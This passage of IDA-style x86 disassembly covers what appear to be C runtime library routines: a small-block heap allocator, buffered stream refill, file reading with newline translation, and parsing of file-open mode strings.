		sar	eax, 3
		shl	eax, 0Ch
		add	eax, edx
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jnb	short loc_41F581


loc_41F547:				; CODE XREF: sub_41F50E+6Fj
		mov	ecx, [edi]
		mov	ebx, [ebp+arg_0]
		cmp	ecx, ebx
		jl	short loc_41F56A
		cmp	[edi+4], ebx
		jbe	short loc_41F56A
		push	ebx
		push	ecx
		push	eax
		call	sub_41F716
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41F5D9
		mov	eax, [ebp+var_4]
		mov	[edi+4], ebx


loc_41F56A:				; CODE XREF: sub_41F50E+40j
					; sub_41F50E+45j
		add	edi, 8
		lea	ecx, [esi+2018h]
		add	eax, 1000h
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jb	short loc_41F547
		jmp	short loc_41F584
; ---------------------------------------------------------------------------


loc_41F581:				; CODE XREF: sub_41F50E+37j
		mov	ebx, [ebp+arg_0]


loc_41F584:				; CODE XREF: sub_41F50E+71j
		mov	eax, [esi+8]
		mov	ecx, [esi+10h]
		lea	edi, [esi+18h]
		mov	[ebp+var_8], eax
		cmp	edi, eax
		mov	[ebp+var_4], ecx
		jnb	short loc_41F5CA


loc_41F597:				; CODE XREF: sub_41F50E+B5j
		mov	eax, [edi]
		cmp	eax, ebx
		jl	short loc_41F5B6
		cmp	[edi+4], ebx
		jbe	short loc_41F5B6
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	sub_41F716
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41F5D9
		mov	[edi+4], ebx


loc_41F5B6:				; CODE XREF: sub_41F50E+8Dj
					; sub_41F50E+92j
		add	[ebp+var_4], 1000h
		add	edi, 8
		cmp	edi, [ebp+var_8]
		jb	short loc_41F597
		jmp	short loc_41F5CA
; ---------------------------------------------------------------------------


loc_41F5C7:				; CODE XREF: sub_41F50E+14j
		mov	ebx, [ebp+arg_0]


loc_41F5CA:				; CODE XREF: sub_41F50E+87j
					; sub_41F50E+B7j
		mov	esi, [esi]
		cmp	esi, off_43CEC0
		jz	short loc_41F5E9
		jmp	loc_41F51C
; ---------------------------------------------------------------------------


loc_41F5D9:				; CODE XREF: sub_41F50E+54j
					; sub_41F50E+A3j
		mov	off_43CEC0, esi
		sub	[edi], ebx
		mov	[esi+8], edi
		jmp	loc_41F711
; ---------------------------------------------------------------------------


loc_41F5E9:				; CODE XREF: sub_41F50E+C4j
		mov	eax, offset off_43AEA0
		mov	edi, eax


loc_41F5F0:				; CODE XREF: sub_41F50E+F8j
		cmp	dword ptr [edi+10h], 0FFFFFFFFh
		jz	short loc_41F5FC
		cmp	dword ptr [edi+0Ch], 0
		jnz	short loc_41F608


loc_41F5FC:				; CODE XREF: sub_41F50E+E6j
		mov	edi, [edi]
		cmp	edi, eax
		jz	loc_41F6DD
		jmp	short loc_41F5F0
; ---------------------------------------------------------------------------


loc_41F608:				; CODE XREF: sub_41F50E+ECj
		mov	ebx, [edi+0Ch]
		and	[ebp+var_4], 0
		mov	esi, ebx
		mov	eax, ebx
		sub	esi, edi
		sub	esi, 18h
		sar	esi, 3
		shl	esi, 0Ch
		add	esi, [edi+10h]
		cmp	dword ptr [ebx], 0FFFFFFFFh
		jnz	short loc_41F637


loc_41F626:				; CODE XREF: sub_41F50E+127j
		cmp	[ebp+var_4], 10h
		jge	short loc_41F637
		add	eax, 8
		inc	[ebp+var_4]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41F626


loc_41F637:				; CODE XREF: sub_41F50E+116j
					; sub_41F50E+11Cj
		mov	eax, [ebp+var_4]
		push	4
		shl	eax, 0Ch
		push	1000h
		push	eax
		push	esi
		mov	[ebp+var_8], eax
		nop
		call	near ptr 26609E2h
		cmp	eax, esi
		jnz	loc_41F70F
		push	0
		push	[ebp+var_8]
		push	esi
		call	sub_41BF70
		mov	edx, [ebp+var_4]
		add	esp, 0Ch
		test	edx, edx
		mov	ecx, ebx
		jle	short loc_41F69E
		lea	eax, [esi+4]
		mov	[ebp+var_4], edx


loc_41F674:				; CODE XREF: sub_41F50E+18Ej
		or	byte ptr [eax+0F4h], 0FFh
		lea	edx, [eax+4]
		mov	[eax-4], edx
		mov	edx, 0F0h
		mov	[eax], edx
		mov	[ecx], edx
		mov	dword ptr [ecx+4], 0F1h
		add	eax, 1000h
		add	ecx, 8
		dec	[ebp+var_4]
		jnz	short loc_41F674


loc_41F69E:				; CODE XREF: sub_41F50E+15Ej
		mov	off_43CEC0, edi
		lea	eax, [edi+2018h]


loc_41F6AA:				; CODE XREF: sub_41F50E+1A8j
		cmp	ecx, eax
		jnb	short loc_41F6BA
		cmp	dword ptr [ecx], 0FFFFFFFFh
		jz	short loc_41F6B8
		add	ecx, 8
		jmp	short loc_41F6AA
; ---------------------------------------------------------------------------


loc_41F6B8:				; CODE XREF: sub_41F50E+1A3j
		cmp	ecx, eax


loc_41F6BA:				; CODE XREF: sub_41F50E+19Ej
		sbb	eax, eax
		and	eax, ecx
		mov	[edi+0Ch], eax
		mov	eax, [ebp+arg_0]
		mov	[esi+8], al
		mov	[edi+8], ebx
		sub	[ebx], eax
		sub	[esi+4], eax
		lea	ecx, [esi+eax+8]
		lea	eax, [esi+100h]
		mov	[esi], ecx
		jmp	short loc_41F711
; ---------------------------------------------------------------------------


loc_41F6DD:				; CODE XREF: sub_41F50E+F2j
		call	sub_41F216
		test	eax, eax
		jz	short loc_41F70F
		mov	ecx, [eax+10h]
		mov	[ecx+8], bl
		lea	edx, [ecx+ebx+8]
		mov	off_43CEC0, eax
		mov	[ecx], edx
		mov	edx, 0F0h
		sub	edx, ebx
		mov	[ecx+4], edx
		movzx	edx, bl
		sub	[eax+18h], edx
		lea	eax, [ecx+100h]
		jmp	short loc_41F711
; ---------------------------------------------------------------------------


loc_41F70F:				; CODE XREF: sub_41F50E+143j
					; sub_41F50E+1D6j
		xor	eax, eax


loc_41F711:				; CODE XREF: sub_41F50E+D6j
					; sub_41F50E+1CDj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F50E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F716	proc near		; CODE XREF: sub_41F50E+4Ap
					; sub_41F50E+99p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_8]
		push	ebx
		push	esi
		mov	esi, [ecx+4]
		push	edi
		mov	edi, [ecx]
		lea	ebx, [ecx+0F8h]
		cmp	esi, edx
		mov	[ebp+var_4], edi
		mov	eax, edi
		mov	[ebp+arg_0], ebx
		jb	short loc_41F75B
		lea	eax, [edi+edx]
		mov	[edi], dl
		cmp	eax, ebx
		jnb	short loc_41F74A
		add	[ecx], edx
		sub	[ecx+4], edx
		jmp	short loc_41F753
; ---------------------------------------------------------------------------


loc_41F74A:				; CODE XREF: sub_41F716+2Bj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_41F753:				; CODE XREF: sub_41F716+32j
		lea	eax, [edi+8]
		jmp	loc_41F829
; ---------------------------------------------------------------------------


loc_41F75B:				; CODE XREF: sub_41F716+22j
		add	esi, edi
		cmp	byte ptr [esi],	0
		jz	short loc_41F764
		mov	eax, esi


loc_41F764:				; CODE XREF: sub_41F716+4Aj
		lea	esi, [eax+edx]
		cmp	esi, ebx
		jnb	short loc_41F7AE


loc_41F76B:				; CODE XREF: sub_41F716+96j
		mov	bl, [eax]
		test	bl, bl
		jnz	short loc_41F7A1
		push	1
		lea	ebx, [eax+1]
		pop	esi


loc_41F777:				; CODE XREF: sub_41F716+68j
		cmp	byte ptr [ebx],	0
		jnz	short loc_41F780
		inc	ebx
		inc	esi
		jmp	short loc_41F777
; ---------------------------------------------------------------------------


loc_41F780:				; CODE XREF: sub_41F716+64j
		cmp	esi, edx
		jnb	short loc_41F7D2
		cmp	eax, [ebp+var_4]
		jnz	short loc_41F78E
		mov	[ecx+4], esi
		jmp	short loc_41F79A
; ---------------------------------------------------------------------------


loc_41F78E:				; CODE XREF: sub_41F716+71j
		sub	[ebp+arg_4], esi
		cmp	[ebp+arg_4], edx
		jb	loc_41F833


loc_41F79A:				; CODE XREF: sub_41F716+76j
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41F7A6
; ---------------------------------------------------------------------------


loc_41F7A1:				; CODE XREF: sub_41F716+59j
		movzx	esi, bl
		add	eax, esi


loc_41F7A6:				; CODE XREF: sub_41F716+89j
		lea	esi, [eax+edx]
		cmp	esi, [ebp+arg_0]
		jb	short loc_41F76B


loc_41F7AE:				; CODE XREF: sub_41F716+53j
		lea	esi, [ecx+8]


loc_41F7B1:				; CODE XREF: sub_41F716+EBj
					; sub_41F716+F2j
		cmp	esi, edi
		jnb	short loc_41F833
		lea	eax, [esi+edx]
		cmp	eax, [ebp+arg_0]
		jnb	short loc_41F833
		mov	al, [esi]
		test	al, al
		jnz	short loc_41F803
		push	1
		lea	ebx, [esi+1]
		pop	eax


loc_41F7C9:				; CODE XREF: sub_41F716+BAj
		cmp	byte ptr [ebx],	0
		jnz	short loc_41F7F3
		inc	ebx
		inc	eax
		jmp	short loc_41F7C9
; ---------------------------------------------------------------------------


loc_41F7D2:				; CODE XREF: sub_41F716+6Cj
		lea	ebx, [eax+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41F7E3
		sub	esi, edx
		mov	[ecx], ebx
		mov	[ecx+4], esi
		jmp	short loc_41F7EC
; ---------------------------------------------------------------------------


loc_41F7E3:				; CODE XREF: sub_41F716+C2j
		and	dword ptr [ecx+4], 0
		lea	esi, [ecx+8]
		mov	[ecx], esi


loc_41F7EC:				; CODE XREF: sub_41F716+CBj
		mov	[eax], dl
		add	eax, 8
		jmp	short loc_41F829
; ---------------------------------------------------------------------------


loc_41F7F3:				; CODE XREF: sub_41F716+B6j
		cmp	eax, edx
		jnb	short loc_41F80A
		sub	[ebp+arg_4], eax
		cmp	[ebp+arg_4], edx
		jb	short loc_41F833
		mov	esi, ebx
		jmp	short loc_41F7B1
; ---------------------------------------------------------------------------


loc_41F803:				; CODE XREF: sub_41F716+ABj
		movzx	eax, al
		add	esi, eax
		jmp	short loc_41F7B1
; ---------------------------------------------------------------------------


loc_41F80A:				; CODE XREF: sub_41F716+DFj
		lea	ebx, [esi+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41F81B
		sub	eax, edx
		mov	[ecx], ebx
		mov	[ecx+4], eax
		jmp	short loc_41F824
; ---------------------------------------------------------------------------


loc_41F81B:				; CODE XREF: sub_41F716+FAj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_41F824:				; CODE XREF: sub_41F716+103j
		mov	[esi], dl
		lea	eax, [esi+8]


loc_41F829:				; CODE XREF: sub_41F716+40j
					; sub_41F716+DBj
		imul	ecx, 0Fh
		shl	eax, 4
		sub	eax, ecx
		jmp	short loc_41F835
; ---------------------------------------------------------------------------


loc_41F833:				; CODE XREF: sub_41F716+7Ej
					; sub_41F716+9Dj ...
		xor	eax, eax


loc_41F835:				; CODE XREF: sub_41F716+11Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F716	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F83A	proc near		; CODE XREF: sub_41BBE2+19Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		movzx	ecx, byte ptr [edx]
		push	edi
		mov	edi, [ebp+arg_0]
		and	[ebp+var_4], 0
		mov	eax, ebx
		sub	eax, [edi+10h]
		sar	eax, 0Ch
		cmp	ecx, [ebp+arg_C]
		lea	edi, [edi+eax*8+18h]
		jbe	short loc_41F874
		mov	eax, [ebp+arg_C]
		sub	ecx, eax
		mov	[edx], al
		add	[edi], ecx
		mov	dword ptr [edi+4], 0F1h
		jmp	short loc_41F8D4
; ---------------------------------------------------------------------------


loc_41F874:				; CODE XREF: sub_41F83A+26j
		jnb	short loc_41F8DB
		mov	eax, [ebp+arg_C]
		lea	esi, [edx+eax]
		lea	eax, [ebx+0F8h]
		cmp	eax, esi
		jb	short loc_41F8DB
		lea	eax, [ecx+edx]


loc_41F889:				; CODE XREF: sub_41F83A+59j
		cmp	eax, esi
		jnb	short loc_41F897
		cmp	byte ptr [eax],	0
		jnz	short loc_41F895
		inc	eax
		jmp	short loc_41F889
; ---------------------------------------------------------------------------


loc_41F895:				; CODE XREF: sub_41F83A+56j
		cmp	eax, esi


loc_41F897:				; CODE XREF: sub_41F83A+51j
		jnz	short loc_41F8DB
		mov	al, byte ptr [ebp+arg_C]
		mov	[edx], al
		mov	eax, [ebx]
		cmp	edx, eax
		ja	short loc_41F8CF
		cmp	esi, eax
		jbe	short loc_41F8CF
		lea	eax, [ebx+0F8h]
		cmp	esi, eax
		jnb	short loc_41F8C6
		xor	eax, eax
		mov	[ebx], esi
		cmp	[esi], al
		jnz	short loc_41F8C1


loc_41F8BA:				; CODE XREF: sub_41F83A+85j
		inc	eax
		cmp	byte ptr [esi+eax], 0
		jz	short loc_41F8BA


loc_41F8C1:				; CODE XREF: sub_41F83A+7Ej
		mov	[ebx+4], eax
		jmp	short loc_41F8CF
; ---------------------------------------------------------------------------


loc_41F8C6:				; CODE XREF: sub_41F83A+76j
		and	dword ptr [ebx+4], 0
		lea	eax, [ebx+8]
		mov	[ebx], eax


loc_41F8CF:				; CODE XREF: sub_41F83A+68j
					; sub_41F83A+6Cj ...
		sub	ecx, [ebp+arg_C]
		add	[edi], ecx


loc_41F8D4:				; CODE XREF: sub_41F83A+38j
		mov	[ebp+var_4], 1


loc_41F8DB:				; CODE XREF: sub_41F83A:loc_41F874j
					; sub_41F83A+4Aj ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F83A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F8E3	proc near		; CODE XREF: sub_41BAFA+A9p
					; sub_41C52F+2Dp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_41F9B7
		test	al, 40h
		jnz	loc_41F9B7
		test	al, 2
		jz	short loc_41F909
		or	al, 20h
		mov	[esi+0Ch], eax
		jmp	loc_41F9B7
; ---------------------------------------------------------------------------


loc_41F909:				; CODE XREF: sub_41F8E3+1Aj
		or	al, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41F91D
		push	esi
		call	sub_4241F7
		pop	ecx
		jmp	short loc_41F922
; ---------------------------------------------------------------------------


loc_41F91D:				; CODE XREF: sub_41F8E3+2Fj
		mov	eax, [esi+8]
		mov	[esi], eax


loc_41F922:				; CODE XREF: sub_41F8E3+38j
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_41F9BC
		add	esp, 0Ch
		mov	[esi+4], eax
		test	eax, eax
		jz	short loc_41F9A6
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41F9A6
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_41F97B
		mov	ecx, [esi+10h]
		push	edi
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_41F964
		mov	edi, ecx
		sar	edi, 5
		and	ecx, 1Fh
		mov	edi, dword_4DD0A0[edi*4]
		lea	edi, [edi+ecx*8]
		jmp	short loc_41F969
; ---------------------------------------------------------------------------


loc_41F964:				; CODE XREF: sub_41F8E3+6Bj
		mov	edi, offset dword_43D520


loc_41F969:				; CODE XREF: sub_41F8E3+7Fj
		mov	cl, [edi+4]
		pop	edi
		and	cl, 82h
		cmp	cl, 82h
		jnz	short loc_41F97B
		or	dh, 20h
		mov	[esi+0Ch], edx


loc_41F97B:				; CODE XREF: sub_41F8E3+62j
					; sub_41F8E3+90j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_41F998
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_41F998
		test	ch, 4
		jnz	short loc_41F998
		mov	dword ptr [esi+18h], 1000h


loc_41F998:				; CODE XREF: sub_41F8E3+9Fj
					; sub_41F8E3+A7j ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41F9A6:				; CODE XREF: sub_41F8E3+55j
					; sub_41F8E3+5Aj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0


loc_41F9B7:				; CODE XREF: sub_41F8E3+Aj
					; sub_41F8E3+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41F8E3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F9BC	proc near		; CODE XREF: sub_41BAFA+90p
					; sub_41F8E3+48p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		cmp	esi, dword_4DD1A0
		jnb	loc_41FB99
		mov	eax, esi
		and	esi, 1Fh
		sar	eax, 5
		shl	esi, 3
		lea	ebx, ds:4DD0A0h[eax*4]
		mov	eax, dword_4DD0A0[eax*4]
		add	eax, esi
		mov	dl, [eax+4]
		test	dl, 1
		jz	loc_41FB99
		and	[ebp+var_8], 0
		mov	edi, [ebp+arg_4]
		cmp	[ebp+arg_8], 0
		mov	ecx, edi
		jz	short loc_41FA71
		test	dl, 2
		jnz	short loc_41FA71
		test	dl, 48h
		jz	short loc_41FA31
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_41FA31
		dec	[ebp+arg_8]
		mov	[edi], al
		mov	eax, [ebx]
		lea	ecx, [edi+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah


loc_41FA31:				; CODE XREF: sub_41F9BC+56j
					; sub_41F9BC+5Dj
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		mov	eax, [ebx]
		push	[ebp+arg_8]
		push	ecx
		push	dword ptr [eax+esi]
		nop
		call	near ptr 2700000h
		test	eax, eax
		jnz	short loc_41FA84
		call	near ptr 2680E92h
		nop
		push	5
		pop	ecx
		cmp	eax, ecx
		jnz	short loc_41FA6C
		mov	dword_4DBE2C, 9
		mov	dword_4DBE30, ecx
		jmp	loc_41FBAA
; ---------------------------------------------------------------------------


loc_41FA6C:				; CODE XREF: sub_41F9BC+99j
		cmp	eax, 6Dh
		jnz	short loc_41FA78


loc_41FA71:				; CODE XREF: sub_41F9BC+4Cj
					; sub_41F9BC+51j
		xor	eax, eax
		jmp	loc_41FBAD
; ---------------------------------------------------------------------------


loc_41FA78:				; CODE XREF: sub_41F9BC+B3j
		push	eax
		call	sub_420C7F
		pop	ecx
		jmp	loc_41FBAA
; ---------------------------------------------------------------------------


loc_41FA84:				; CODE XREF: sub_41F9BC+8Cj
		mov	eax, [ebx]
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
		mov	al, [eax+esi+4]
		test	al, 80h
		jz	loc_41FB94
		test	edx, edx
		jz	short loc_41FAA9
		cmp	byte ptr [edi],	0Ah
		jnz	short loc_41FAA9
		or	al, 4
		jmp	short loc_41FAAB
; ---------------------------------------------------------------------------


loc_41FAA9:				; CODE XREF: sub_41F9BC+E2j
					; sub_41F9BC+E7j
		and	al, 0FBh


loc_41FAAB:				; CODE XREF: sub_41F9BC+EBj
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		mov	[ebp+arg_8], eax
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+var_8], ecx
		jnb	loc_41FB8E


loc_41FAC3:				; CODE XREF: sub_41F9BC+1BAj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_41FB7E
		cmp	al, 0Dh
		jz	short loc_41FADF
		mov	[edi], al
		inc	edi
		inc	[ebp+arg_8]
		jmp	loc_41FB70
; ---------------------------------------------------------------------------


loc_41FADF:				; CODE XREF: sub_41F9BC+116j
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_41FAFD
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41FAF4
		add	[ebp+arg_8], 2
		jmp	short loc_41FB52
; ---------------------------------------------------------------------------


loc_41FAF4:				; CODE XREF: sub_41F9BC+130j
		mov	byte ptr [edi],	0Dh
		inc	edi
		mov	[ebp+arg_8], eax
		jmp	short loc_41FB70
; ---------------------------------------------------------------------------


loc_41FAFD:				; CODE XREF: sub_41F9BC+127j
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		inc	[ebp+arg_8]
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		nop
		call	near ptr 2700000h
		test	eax, eax
		jnz	short loc_41FB25
		call	near ptr 2680E92h
		nop
		test	eax, eax
		jnz	short loc_41FB6C


loc_41FB25:				; CODE XREF: sub_41F9BC+15Dj
		cmp	[ebp+var_C], 0
		jz	short loc_41FB6C
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_41FB47
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_41FB52
		mov	byte ptr [edi],	0Dh
		mov	ecx, [ebx]
		inc	edi
		mov	[ecx+esi+5], al
		jmp	short loc_41FB70
; ---------------------------------------------------------------------------


loc_41FB47:				; CODE XREF: sub_41F9BC+176j
		cmp	edi, [ebp+arg_4]
		jnz	short loc_41FB57
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_41FB57


loc_41FB52:				; CODE XREF: sub_41F9BC+136j
					; sub_41F9BC+17Dj
		mov	byte ptr [edi],	0Ah
		jmp	short loc_41FB6F
; ---------------------------------------------------------------------------


loc_41FB57:				; CODE XREF: sub_41F9BC+18Ej
					; sub_41F9BC+194j
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_422F09
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_41FB70


loc_41FB6C:				; CODE XREF: sub_41F9BC+167j
					; sub_41F9BC+16Dj
		mov	byte ptr [edi],	0Dh


loc_41FB6F:				; CODE XREF: sub_41F9BC+199j
		inc	edi


loc_41FB70:				; CODE XREF: sub_41F9BC+11Ej
					; sub_41F9BC+13Fj ...
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_41FAC3
		jmp	short loc_41FB8E
; ---------------------------------------------------------------------------


loc_41FB7E:				; CODE XREF: sub_41F9BC+10Ej
		mov	eax, [ebx]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_41FB8E
		or	al, 2
		mov	[esi], al


loc_41FB8E:				; CODE XREF: sub_41F9BC+101j
					; sub_41F9BC+1C0j ...
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_8], edi


loc_41FB94:				; CODE XREF: sub_41F9BC+DAj
		mov	eax, [ebp+var_8]
		jmp	short loc_41FBAD
; ---------------------------------------------------------------------------


loc_41FB99:				; CODE XREF: sub_41F9BC+12j
					; sub_41F9BC+39j
		and	dword_4DBE30, 0
		mov	dword_4DBE2C, 9


loc_41FBAA:				; CODE XREF: sub_41F9BC+ABj
					; sub_41F9BC+C3j
		or	eax, 0FFFFFFFFh


loc_41FBAD:				; CODE XREF: sub_41F9BC+B7j
					; sub_41F9BC+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F9BC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FBB2	proc near		; CODE XREF: sub_41BBE2+126p
					; sub_41BBE2+24Bp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4DBE94
		test	eax, eax
		jz	short loc_41FBCA
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_41FBCA
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41FBCA:				; CODE XREF: sub_41FBB2+7j
					; sub_41FBB2+12j
		xor	eax, eax
		retn
sub_41FBB2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FBCD	proc near		; CODE XREF: sub_41BE82+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, dword_4DC000
		push	edi
		mov	edi, [ebp+arg_4]
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	al, [edi]
		cmp	al, 61h
		jz	short loc_41FC06
		cmp	al, 72h
		jz	short loc_41FBFF
		cmp	al, 77h
		jnz	loc_41FD1A
		mov	ecx, 301h
		jmp	short loc_41FC0B
; ---------------------------------------------------------------------------


loc_41FBFF:				; CODE XREF: sub_41FBCD+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_41FC0E
; ---------------------------------------------------------------------------


loc_41FC06:				; CODE XREF: sub_41FBCD+1Dj
		mov	ecx, 109h


loc_41FC0B:				; CODE XREF: sub_41FBCD+30j
		or	esi, 2


loc_41FC0E:				; CODE XREF: sub_41FBCD+37j
		push	1
		pop	edx


loc_41FC11:				; CODE XREF: sub_41FBCD+8Bj
					; sub_41FBCD+A0j ...
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jz	loc_41FD00
		cmp	edx, ebx
		jz	loc_41FD00
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_41FC9F
		jz	short loc_41FC8F
		sub	eax, 2Bh
		jz	short loc_41FC79
		sub	eax, 19h
		jz	short loc_41FC6F
		sub	eax, 0Eh
		jz	short loc_41FC5A
		dec	eax
		jnz	loc_41FCF1
		cmp	[ebp+var_4], ebx
		jnz	loc_41FCF1
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	short loc_41FC11
; ---------------------------------------------------------------------------


loc_41FC5A:				; CODE XREF: sub_41FBCD+6Fj
		cmp	[ebp+var_4], ebx
		jnz	loc_41FCF1
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	short loc_41FC11
; ---------------------------------------------------------------------------


loc_41FC6F:				; CODE XREF: sub_41FBCD+6Aj
		test	cl, 40h
		jnz	short loc_41FCF1
		or	ecx, 40h
		jmp	short loc_41FC11
; ---------------------------------------------------------------------------


loc_41FC79:				; CODE XREF: sub_41FBCD+65j
		test	cl, 2
		jnz	short loc_41FCF1
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_41FC11
; ---------------------------------------------------------------------------


loc_41FC8F:				; CODE XREF: sub_41FBCD+60j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_41FCF1
		or	ecx, eax
		jmp	loc_41FC11
; ---------------------------------------------------------------------------


loc_41FC9F:				; CODE XREF: sub_41FBCD+5Ej
		sub	eax, 62h
		jz	short loc_41FCEC
		dec	eax
		jz	short loc_41FCD5
		sub	eax, 0Bh
		jz	short loc_41FCBE
		sub	eax, 6
		jnz	short loc_41FCF1
		test	ch, 0C0h
		jnz	short loc_41FCF1
		or	ch, 40h
		jmp	loc_41FC11
; ---------------------------------------------------------------------------


loc_41FCBE:				; CODE XREF: sub_41FBCD+DDj
		cmp	[ebp+var_8], ebx
		jnz	short loc_41FCF1
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	loc_41FC11
; ---------------------------------------------------------------------------


loc_41FCD5:				; CODE XREF: sub_41FBCD+D8j
		cmp	[ebp+var_8], ebx
		jnz	short loc_41FCF1
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	loc_41FC11
; ---------------------------------------------------------------------------


loc_41FCEC:				; CODE XREF: sub_41FBCD+D5j
		test	ch, 0C0h
		jz	short loc_41FCF8


loc_41FCF1:				; CODE XREF: sub_41FBCD+72j
					; sub_41FBCD+7Bj ...
		xor	edx, edx
		jmp	loc_41FC11
; ---------------------------------------------------------------------------


loc_41FCF8:				; CODE XREF: sub_41FBCD+122j
		or	ch, 80h
		jmp	loc_41FC11
; ---------------------------------------------------------------------------


loc_41FD00:				; CODE XREF: sub_41FBCD+4Aj
					; sub_41FBCD+52j
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_42423B
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_41FD1E


loc_41FD1A:				; CODE XREF: sub_41FBCD+25j
		xor	eax, eax
		jmp	short loc_41FD38
; ---------------------------------------------------------------------------


loc_41FD1E:				; CODE XREF: sub_41FBCD+14Bj
		mov	eax, [ebp+arg_C]
		inc	dword_4DBFFC
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx


loc_41FD38:				; CODE XREF: sub_41FBCD+14Fj
